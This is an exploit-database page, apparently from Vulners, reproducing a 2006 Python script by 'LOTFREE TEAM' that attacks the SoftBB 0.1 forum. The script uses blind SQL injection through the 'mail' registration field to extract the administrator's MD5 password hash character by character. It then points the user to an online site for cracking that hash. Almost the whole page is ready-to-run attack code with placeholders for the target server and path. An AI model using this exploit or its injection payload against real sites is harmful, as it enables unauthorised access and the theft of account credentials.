Search...

SoftBB 0.1 (mail) Remote Blind SQL Injection Exploit

2006-03-19T00:00:00
ID 1337DAY-ID-313
Type zdt
Reporter LOTFREE
Modified 2006-03-19T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ====================================================
SoftBB 0.1 (mail) Remote Blind SQL Injection Exploit
====================================================




#!/usr/bin/env python
# LOTFREE TEAM 03/2006
#
# Vulnerability info
# Product : SoftBB
# Version : 0.1
#
# The field 'mail' in reg.php is used directly in a SQL query :
# $sql = 'SELECT pseudo,mail FROM '.$prefixtable.'membres WHERE pseudo = "'.add_gpc($pseudoreg).'" OR mail = "'.$mail.'"';
# We can deduce deduce the result of some sql querys according to the error messages returned
# The exploit test the characters of the md5 hash one by one using a special query
import httplib, urllib

# Change the following values...
admin="admin"
server="localhost"
path="/forum"
#
hash=""
chars=('a','b','c','d','e','f','1','2','3','4','5','7','8','9','0')

print "LOTFREE TEAM SoftBB BruteForcing tool"
print "-------------------------------------"
for i in range(1,33):
  print "Brute forcing hash["+str(i)+"]"
  for a in chars:
    params=urllib.urlencode({'pseudo':admin,
    'mdp':'1',
    'mdpc':'1',
    'mail':'" union select pseudo,1 from softbb_membres where pseudo="'+admin+'" and substr(mdp,'+str(i)+',1)="'+a+'" limit 1,1#',
    'condok':'true'})
    headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
    conn = httplib.HTTPConnection(server)
    conn.request("POST", path+"/index.php?page=reg", params, headers)
    response = conn.getresponse()
    data = response.read()
    conn.close()
    if data.find("Ce pseudonyme est d")>0:
      hash=hash+a
      continue

print
if len(hash)==32:
  print "Found hash =",hash,"for account",admin
  print "You can use http://md5.rednoize.com/ to crack the md5 hash"
else:
  print "Exploit failed... verify the path to the forum or try changing the limit 1,1 in the sql request..." 



#  0day.today [2018-04-08]  #
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018
Protected by